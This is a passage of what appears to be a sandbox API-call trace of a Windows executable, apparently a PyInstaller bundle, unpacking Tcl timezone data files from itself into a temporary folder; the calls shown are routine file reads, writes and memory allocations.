[0039.452] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.452] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.452] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.452] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.452] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.452] CloseHandle (hObject=0x10c) returned 1 [0039.453] GetLastError () returned 0x0 [0039.453] SetLastError (dwErrCode=0x0) [0039.453] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.453] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.453] GetFileType (hFile=0x10c) returned 0x1 [0039.453] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.453] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.453] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.453] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.453] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.453] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.453] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.453] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.453] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.453] CloseHandle (hObject=0x10c) returned 1 [0039.453] GetLastError () returned 0x0 [0039.453] SetLastError (dwErrCode=0x0) [0039.453] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.453] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.453] GetFileType (hFile=0x10c) returned 0x1 [0039.453] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.453] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.454] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.454] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.454] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.454] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.454] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.454] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.454] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.454] CloseHandle (hObject=0x10c) returned 1 [0039.454] GetLastError () returned 0x0 [0039.454] SetLastError (dwErrCode=0x0) [0039.454] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Porto_Acre") returned 75 [0039.454] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Porto_Acre" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\porto_acre"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.457] GetLastError () returned 0x2 [0039.457] SetLastError (dwErrCode=0x2) [0039.457] GetLastError () returned 0x2 [0039.457] SetLastError (dwErrCode=0x2) [0039.457] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Porto_Acre", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Porto_Acre", lpFilePart=0x0) returned 0x4a [0039.457] GetLastError () returned 0x2 [0039.457] SetLastError (dwErrCode=0x2) [0039.457] GetLastError () returned 0x2 [0039.457] SetLastError (dwErrCode=0x2) [0039.457] GetLastError () returned 0x2 [0039.457] SetLastError (dwErrCode=0x2) [0039.457] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Porto_Acre") returned 75 [0039.457] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.457] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Porto_Acre" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\porto_acre"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.458] GetFileType (hFile=0x10c) returned 0x1 [0039.458] htonl (hostlong=0xc4000000) returned 0xc4 [0039.458] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.458] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc4, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc4, lpOverlapped=0x0) returned 1 [0039.459] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.459] CloseHandle (hObject=0x10c) returned 1 [0039.460] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.460] htonl (hostlong=0x30000000) returned 0x30 [0039.460] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.460] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.460] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.460] GetFileType (hFile=0x10c) returned 0x1 [0039.460] htonl (hostlong=0x330d5a00) returned 0x5a0d33 [0039.460] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ebd33, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.460] htonl (hostlong=0x3d010000) returned 0x13d [0039.460] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x13d) returned 0x550600 [0039.460] htonl (hostlong=0x3d010000) returned 0x13d [0039.460] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.460] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.460] htonl (hostlong=0x6040000) returned 0x406 [0039.460] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x406) returned 0x550748 [0039.460] htonl (hostlong=0x3d010000) returned 0x13d [0039.460] htonl (hostlong=0x6040000) returned 0x406 [0039.460] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.460] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.460] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.460] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.460] CloseHandle (hObject=0x10c) returned 1 [0039.461] GetLastError () returned 0x0 [0039.461] SetLastError (dwErrCode=0x0) [0039.461] GetLastError () returned 0x0 [0039.461] SetLastError (dwErrCode=0x0) [0039.461] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.461] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.461] GetFileType (hFile=0x10c) returned 0x1 [0039.461] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.461] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.461] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.461] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.461] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.461] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.461] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.461] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.461] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.461] CloseHandle (hObject=0x10c) returned 1 [0039.461] GetLastError () returned 0x0 [0039.461] SetLastError (dwErrCode=0x0) [0039.461] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.461] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.461] GetFileType (hFile=0x10c) returned 0x1 [0039.462] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.462] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.462] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.462] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.462] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.462] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.462] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.462] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.462] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.462] CloseHandle (hObject=0x10c) returned 1 [0039.462] GetLastError () returned 0x0 [0039.462] SetLastError (dwErrCode=0x0) [0039.462] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.462] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.462] GetFileType (hFile=0x10c) returned 0x1 [0039.462] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.462] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.462] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.462] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.462] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.462] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.462] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.462] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.462] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.462] CloseHandle (hObject=0x10c) returned 1 [0039.463] GetLastError () returned 0x0 [0039.463] SetLastError (dwErrCode=0x0) [0039.463] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Porto_Velho") returned 76 [0039.463] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Porto_Velho" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\porto_velho"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.463] GetLastError () returned 0x2 [0039.463] SetLastError (dwErrCode=0x2) [0039.463] GetLastError () returned 0x2 [0039.463] SetLastError (dwErrCode=0x2) [0039.463] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Porto_Velho", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Porto_Velho", lpFilePart=0x0) returned 0x4b [0039.463] GetLastError () returned 0x2 [0039.463] SetLastError (dwErrCode=0x2) [0039.463] GetLastError () returned 0x2 [0039.463] SetLastError (dwErrCode=0x2) [0039.463] GetLastError () returned 0x2 [0039.463] SetLastError (dwErrCode=0x2) [0039.463] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Porto_Velho") returned 76 [0039.463] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.463] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Porto_Velho" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\porto_velho"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.463] GetFileType (hFile=0x10c) returned 0x1 [0039.463] htonl (hostlong=0x6040000) returned 0x406 [0039.463] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.463] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x406, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x406, lpOverlapped=0x0) returned 1 [0039.465] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.465] CloseHandle (hObject=0x10c) returned 1 [0039.466] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550748 | out: hHeap=0x530000) returned 1 [0039.466] htonl (hostlong=0x40000000) returned 0x40 [0039.466] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.466] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.466] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.466] GetFileType (hFile=0x10c) returned 0x1 [0039.466] htonl (hostlong=0x700e5a00) returned 0x5a0e70 [0039.466] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ebe70, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.466] htonl (hostlong=0xb7000000) returned 0xb7 [0039.466] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb7) returned 0x55cfe0 [0039.466] htonl (hostlong=0xb7000000) returned 0xb7 [0039.466] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.466] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.466] htonl (hostlong=0x11010000) returned 0x111 [0039.466] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x111) returned 0x550600 [0039.466] htonl (hostlong=0xb7000000) returned 0xb7 [0039.466] htonl (hostlong=0x11010000) returned 0x111 [0039.466] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.466] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.466] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.466] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.466] CloseHandle (hObject=0x10c) returned 1 [0039.466] GetLastError () returned 0x0 [0039.466] SetLastError (dwErrCode=0x0) [0039.466] GetLastError () returned 0x0 [0039.466] SetLastError (dwErrCode=0x0) [0039.467] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.467] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.467] GetFileType (hFile=0x10c) returned 0x1 [0039.467] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.467] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.467] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.467] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.467] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.467] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.467] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.467] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.467] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.467] CloseHandle (hObject=0x10c) returned 1 [0039.467] GetLastError () returned 0x0 [0039.467] SetLastError (dwErrCode=0x0) [0039.467] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.467] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, 